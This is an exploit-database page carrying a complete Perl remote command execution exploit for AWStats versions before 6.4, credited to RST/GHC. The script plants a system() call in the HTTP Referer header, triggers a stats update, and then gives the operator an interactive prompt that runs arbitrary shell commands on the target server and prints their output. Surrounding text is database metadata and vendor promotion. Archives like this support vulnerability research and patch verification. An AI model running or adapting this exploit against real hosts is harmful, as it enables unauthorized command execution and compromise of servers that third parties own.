Lucene search
K

AWStats < 6.4 (referer) Remote Command Execution Exploit

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 96 Views

AWStats < 6.4 Remote Command Execution Exploi

Code

                                                #!/usr/bin/perl

## AWStats &#60; 6.4 command execution exploit
## based on http://www.idefense.com/application/poi/display?id=290&type=vulnerabilities
## (c)oded by 1dt.w0lf
## 11.08.2005
## RST/GHC
## http://rst.void.ru
## http://ghc.ru

## Note
## Exploitation will not occur until the stats page has been regenerated
## with the tainted referrer values from the http access log.
## AWStats is only vulnerable in situations where at least one URLPlugin is enabled.


use LWP::UserAgent;
use HTTP::Headers;

if(@ARGV&#60;1) { &usage; exit(0); }

$path = $ARGV[0];
header();
print &#34;Creating shell... Please wait\n&#34;;

 $aw = LWP::UserAgent-&#62;new() or die;
 $req = HTTP::Request-&#62;new(GET =&#62; $path);
 $req-&#62;referer(qq[http://&#39;.system(\$FilterEx{\&#39;refererpages\&#39;}).&#39;]);
 $res = $aw-&#62;request($req); 
 
 $aw = LWP::UserAgent-&#62;new() or die;
 $res = $aw-&#62;get($path.&#39;?output=refererpages&update=1&#39;);

while ()
 {
    print &#34;Type command for execute or &#39;q&#39; for exit # &#34;;
    while(&#60;STDIN&#62;)
     {
        $cmd=$_;
        chomp($cmd);
        exit() if ($cmd eq &#39;q&#39;);
        last;
     }
    &run($cmd);
 }

sub run()
 {
 $cmd2  = &#39;echo 1 && echo _START_ && &#39;;
 $cmd2 .= $cmd;
 $cmd2 .= &#39; && echo _END_&#39;;
 $aw = LWP::UserAgent-&#62;new() or die;
 $res = $aw-&#62;post(
                  &#34;$path&#34;,
                  {
                   &#34;output&#34; =&#62; &#34;refererpages&#34;,
                   &#34;refererpagesfilterex&#34; =&#62; &#34;$cmd2&#34;
                  }
                 );
 @result = split(/\n/,$res-&#62;content);
 $runned = 0;
 $on = 0;
 print &#34;\n&#34;;
 for $res(@result)
  {
    if ($res =~ /^_END_/) { print &#34;\n&#34;; return 0; }
    if ($on == 1) { print &#34;  $res\n&#34;; }
    if ($res =~ /^_START_/) { $on = 1; $runned = 1; } 
  }
 print &#34;Can&#39;t execute command\n&#34; if !$runned;
 }

sub header()
{
 print &#34;--* AWStats &#60; 6.4 exploit by RST/GHC\n&#34;;
 print &#34;--* keep it private, not for public\n&#34;;
}

sub usage()
 {
  header();
  print &#34;usage : r57awstats.pl [path_to_awstats.pl]\n&#34;;
  print &#34;  e.g.: r57awstats.pl http://127.0.0.1/cgi-bin/awstats.pl\n&#34;;
 }

# milw0rm.com [2006-02-17]

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

01 Jul 2014 00:00Current
7.1High risk
Vulners AI Score7.1
96